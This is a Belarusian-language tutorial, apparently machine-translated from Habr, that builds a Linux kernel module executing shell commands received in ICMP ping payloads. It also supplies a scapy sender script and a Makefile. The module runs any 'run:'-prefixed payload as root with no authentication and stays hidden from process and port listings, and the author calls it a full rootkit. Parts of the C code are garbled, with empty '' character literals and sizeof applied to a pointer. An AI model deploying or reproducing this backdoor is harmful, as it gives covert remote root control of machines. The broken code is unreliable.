Ядзерны шелл па-над ICMP

Ядзерны шелл па-над ICMP

TL, д-р: пішу модуль ядра, які будзе чытаць каманды з пэйлааду ICMP і выконваць іх на серверы нават у тым выпадку, калі ў вас зваліўся SSH. Для самых нецярплівых ўвесь код на GitHub.

Асцярожна! Доследныя праграмісты на C рызыкуюць заплакаць крывавымі слязамі! Я магу памыляцца нават у тэрміналогіі, але любая крытыка прывітаецца. Пост разлічаны на тых, хто мае самае прыблізнае ўяўленне аб праграмаванні на C і жадае зазірнуць ва вантробы Linux.

У каментарах да маёй першай артыкуле згадалі SoftEther VPN, які ўмее мімікрыраваць пад некаторыя "звычайныя" пратаколы, у прыватнасці, HTTPS, ICMP і нават DNS. Я ўяўляю сабе працу толькі першага з іх, бо добра знаёмы з HTTP(S), а тунэляванне па-над ICMP і DNS прыйшлося вывучаць.

Ядзерны шелл па-над ICMP

Так, я ў 2020 году пазнаў, што ў ICMP-пакеты можна ўставіць адвольны пейлоад. Але лепей позна, чым ніколі! І раз ужо з гэтым можна нешта зрабіць, значыць трэба рабіць. Так як у сваёй паўсядзённасці часцей за ўсё я карыстаюся камандным радком, у тым ліку праз SSH, ідэя ICMP-шелла прыйшла мне ў галаву перш за ўсё. А каб сабраць поўнае буллщит-бінга, вырашыў пісаць у выглядзе модуля Linux на мове, аб якім я маю толькі прыблізнае паданне. Такі шелл не будзе бачны ў спісе працэсаў, можна загрузіць яго ў ядро ​​і ён не будзе ляжаць на файлавай сістэме, вы не ўбачыце нічога падазронага ў спісе праслухоўваных портаў. Па сваіх магчымасцях гэта паўнавартасны руткіт, але я спадзяюся дапрацаваць і выкарыстоўваць яго ў якасці шелла апошняй надзеі, калі Load Average занадта высокі для таго, каб зайсці па SSH і выканаць хаця б echo i > /proc/sysrq-trigger, каб аднавіць доступ без перазагрузкі.

Бярэм тэкставы рэдактар, базавыя скілы праграмавання на Python і C, гугл і віртуалку якую не шкада пусціць пад нож калі ўсё паламаецца (апцыянальна - лакальны VirtualBox/KVM/etc) і пагналі!

Кліенцкая частка

Мне здавалася, што для кліенцкай часткі давядзецца пісаць скрыпт радкоў гэтак на 80, але знайшліся добрыя людзі, якія зрабілі за мяне усю працу. Код аказаўся нечакана простым, змяшчаецца ў 10 значных радкоў:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Скрыпт прымае два аргументы, адрасам і пейлаад. Перад адпраўкай пейлаад папярэднічаецца ключом run:, ён нам спатрэбіцца каб выключыць пакеты са выпадковым пейлаадам.

Ядро патрабуе прывілеяў для таго каб крафціць пакеты, таму скрыпт прыйдзецца запускаць з правамі суперкарыстальніка. Не забудзьцеся даць права на выкананне і ўсталяваць сам scapy. У Debian ёсць пакет, завецца python3-scapy. Цяпер можна правяраць, як гэта ўсё працуе.

Запуск і вывад каманды
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Дык гэта выглядае ў сніферы
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Пэйлаад у пакеце з адказам не мяняецца.

Модуль ядра

Для зборкі ў віртуалцы з Debian спатрэбяцца прынамсі make и linux-headers-amd64, астатняе падцягнецца ў выглядзе залежнасцяў. У артыкуле код цалкам прыводзіць не буду, вы яго можаце схіляваць на гітхабе.

Настройка Хука

Для пачатку нам спатрэбяцца дзве функцыі для таго, каб загрузіць модуль і каб яго выгрузіць. Функцыя для выгрузкі не абавязковая, але тады і rmmod выканаць не атрымаецца, модуль выгрузіцца толькі пры выключэнні.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Што тут адбываецца:

  1. Падцягваюцца два загалоўкавых файла для маніпуляцый уласна з модулем і з нетфильтром.
  2. Усе аперацыі праходзяць праз нетфильтр, у ім можна задаваць хукі. Для гэтага трэба заявіць структуру, у якой хук будзе наладжвацца. Самае важнае - пазначыць функцыю, якая будзе выконвацца ў якасці хука: nfho.hook = icmp_cmd_executor; да самай функцыі я яшчэ дабяруся.
    Затым я задаў момант апрацоўкі пакета: NF_INET_PRE_ROUTING паказвае апрацоўваць пакет, калі ён толькі з'явіўся ў ядры. Можна выкарыстоўваць NF_INET_POST_ROUTING для апрацоўкі пакета на выхадзе з ядра.
    Вешаю фільтр на IPv4: nfho.pf = PF_INET;.
    Прызначаю свайму хуку найвышэйшай прыярытэт: nfho.priority = NF_IP_PRI_FIRST;
    І рэгіструю структуру дадзеных як уласна хук: nf_register_net_hook(&init_net, &nfho);
  3. У завяршальнай функцыі хук выдаляецца.
  4. Ліцэнзія пазначана відавочна, каб кампілятар не лаяўся.
  5. функцыі module_init() и module_exit() задаюць іншыя функцыі ў якасці ініцыялізавальнай і завяршальнай працу модуля.

Выманне пейлаада

Зараз трэба атрымаць пэйлаад, гэта аказалася самай складанай задачай. У ядры няма ўбудаваных функцый для працы з пейлаадам, можна толькі парсіць загалоўкі больш высокаўзроўневых пратаколаў.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Што адбываецца:

  1. Прыйшлося падлучыць дадатковыя загалоўкавыя файлы, на гэты раз для маніпуляцыя з IP- і ICMP-хедэрамі.
  2. Задаю максімальную даўжыню радка: #define MAX_CMD_LEN 1976. Чаму менавіта такую? Таму што на вялікую кампілятар лаецца! Мне ўжо падказалі, што трэба разбірацца са стэкам і кучай, калі-небудзь я абавязкова гэта зраблю і можа нават папраўлю код. Адразу задаю радок, у якім будзе ляжаць каманда: char cmd_string[MAX_CMD_LEN];. Яна павінна быць бачная ва ўсіх функцыях, пра гэта падрабязней раскажу ў пункце 9.
  3. Цяпер трэба ініцыялізаваць (struct work_struct my_work;) структуру і звязаць яе з яшчэ адной функцыяй (DECLARE_WORK(my_work, work_handler);). Пра тое, навошта гэта патрэбна, я таксама раскажу ў дзявятым пункце.
  4. Цяпер аб'яўляю функцыю, якая і будзе хукам. Тып і прыманыя аргументы дыктуюцца нетфильтром, нас цікавіць толькі skb. Гэта буфер сокета, фундаментальная структура дадзеных, якая змяшчае ўсе даступныя звесткі аб пакеце.
  5. Для працы функцыі спатрэбіцца дзве структуры, і некалькі зменных, у тым ліку два ітэратары.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Можна прыступіць да логікі. Для працы модуля не патрэбныя ніякія пакеты акрамя ICMP Echo, таму парсім буфер убудаванымі функцыямі і выкідваем усё не ICMP- і не Echo-пакеты. Зварот NF_ACCEPT азначае прыняцце пакета, але можаце і дропнуць пакеты, вярнуўшы NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Я не правяраў, што адбудзецца без праверкі загалоўкаў IP. Маё мінімальнае веданне C падказвае: без дадатковых праверак абавязкова адбудзецца што-небудзь жудаснае. Я буду рады, калі вы мяне ў гэтым пераканаеце!

  7. Цяпер, калі пакет сапраўды патрэбнага тыпу, можна здабываць дадзеныя. Без убудаванай функцыі даводзіцца спачатку атрымліваць паказальнік на пачатак пэйладу. Робіцца гэта праз адно месца, трэба ўзяць паказальнік на пачатак загалоўка ICMP і перасунуць яго на памер гэтага загалоўка. Для ўсяго выкарыстоўваецца структура icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Канец загалоўка павінен супадаць з канцом карыснай нагрузкі ў skb, таму атрымліваем яго ядзернымі сродкамі з адпаведнай структуры: tail = skb_tail_pointer(skb);.

    Ядзерны шелл па-над ICMP

    Малюнак зацягнуў адсюль, можаце пачытаць падрабязней пра буфер сокета.

  8. Атрымаўшы паказальнікі на пачатак і канец, можна скапіяваць дадзеныя ў радок cmd_string, праверыць яе на наяўнасць прэфікса run: і, або выкінуць пакет у выпадку яго адсутнасці, або зноў перазапісаць радок, выдаліўшы гэты прэфікс.
  9. Ну ўсё, зараз можна выклікаць яшчэ адзін хендлер: schedule_work(&my_work);. Бо ў такі выклік перадаць параметр не атрымаецца, радок з камандай і павінен быць глабальным. schedule_work() змесціць функцыю асацыяваную з перададзенай структурай у агульную чаргу планавальніка задач і завершыцца, дазволіўшы не чакаць завяршэнні каманды. Гэта трэба таму, што хук павінен быць вельмі хуткім. Інакш у вас, на выбар, нічога не запусціцца ці вы атрымаеце kernel panic. Прамаруджванне смерці падобна!
  10. Усё, можна прымаць пакет які адпавядае зваротам.

Выклік праграмы ў юзэрспэйсе

Гэтая функцыя самая зразумелая. Назва яе была зададзена ў DECLARE_WORK(), тып і прыманыя аргументы не цікавыя. Бярэм радок з камандай і перадаем яго цалкам шеллу. Няхай ён сам разбіраецца з парсінгам, пошукам бінароў і з усім астатнім.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Задаём аргументы ў масіў радкоў argv[]. Выкажу здагадку, што ўсе ведаюць, што праграмы насамрэч выконваюцца менавіта так, а не суцэльным радком з прабеламі.
  2. Задаем зменныя асяроддзі. Я уставіў толькі PATH з мінімальным наборам шляхоў, разлічваючы што ва ўсіх ужо аб'яднаны /bin с /usr/bin и /sbin с /usr/sbin. Іншыя шляхі даволі рэдка маюць значэнне на практыцы.
  3. Гатова, выконваем! Функцыя ядра call_usermodehelper() прымае на ўваход. шлях да бінара, масіў аргументаў, масіў зменных асяроддзі. Тут я таксама мяркую, што ўсё разумеюць сэнс перадачы шляху да выкананага файла асобным аргументам, але можаце спытаць. Апошні аргумент паказвае, ці чакаць завяршэння працэсу (UMH_WAIT_PROC), запуску працэсу (UMH_WAIT_EXEC) ці не чакаць наогул (UMH_NO_WAIT). Ёсць яшчэ UMH_KILLABLE, я не стаў разбірацца ў гэтым.

зборка

Зборка ядзерных модуляў выконваецца праз ядзерны ж make-фрэймворк. Выклікаецца make усярэдзіне адмысловай дырэкторыі прывязанай да версіі ядра (вызначаецца тут: KERNELDIR:=/lib/modules/$(shell uname -r)/build), а месцазнаходжанне модуля перадаецца зменнай M у аргументах. У таргетах icmpshell.ko і clean цалкам выкарыстоўваецца гэты фрэймворк. У obj-m паказваецца аб'ектны файл, які будзе перароблены ў модуль. Сінтаксіс, якія перарабляе main.o в icmpshell.o (icmpshell-objs = main.o) для мяне выглядае не вельмі лагічным, але няхай так і будзе.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Збіраны: make. Загружаем: insmod icmpshell.ko. Гатова, можна правяраць: sudo ./send.py 45.11.26.232 "date > /tmp/test". Калі ў вас на машыне з'явіўся файл /tmp/test і ў ім ляжыць дата адпраўкі запыту, значыць вы зрабілі ўсё правільна і я зрабіў усё правільна.

Заключэнне

Мой першы досвед ядзернай распрацоўкі апынуўся значна прасцейшым, чым я чакаў. Нават не маючы досведу распрацоўкі на C, арыентуючыся на падказкі кампілятара і выдачу гугла, я змог напісаць працоўны модуль і адчуць сябе кернел хакерам, а заадно і скрыпт-кіддзі. Акрамя гэтага я зайшоў на канал Kernel Newbies, дзе мне падказалі выкарыстоўваць schedule_work() замест выкліку call_usermodehelper() усярэдзіне самога хука і прысаромілі, справядліва западозрыўшы скам. Сотня радкоў кода мне каштавала недзе тыдні распрацоўкі ў вольны час. Удалы досвед, які разбурыў мой асабісты міф аб непасільнай складанасці сістэмнай распрацоўкі.

Калі хтосьці пагодзіцца выканаць код-рэўю на гітхабе, я буду ўдзячны. Я амаль упэўнены, што дапусціў шмат дурных памылак, асабліва ў працы з радкамі.

Ядзерны шелл па-над ICMP

Крыніца: habr.com

Дадаць каментар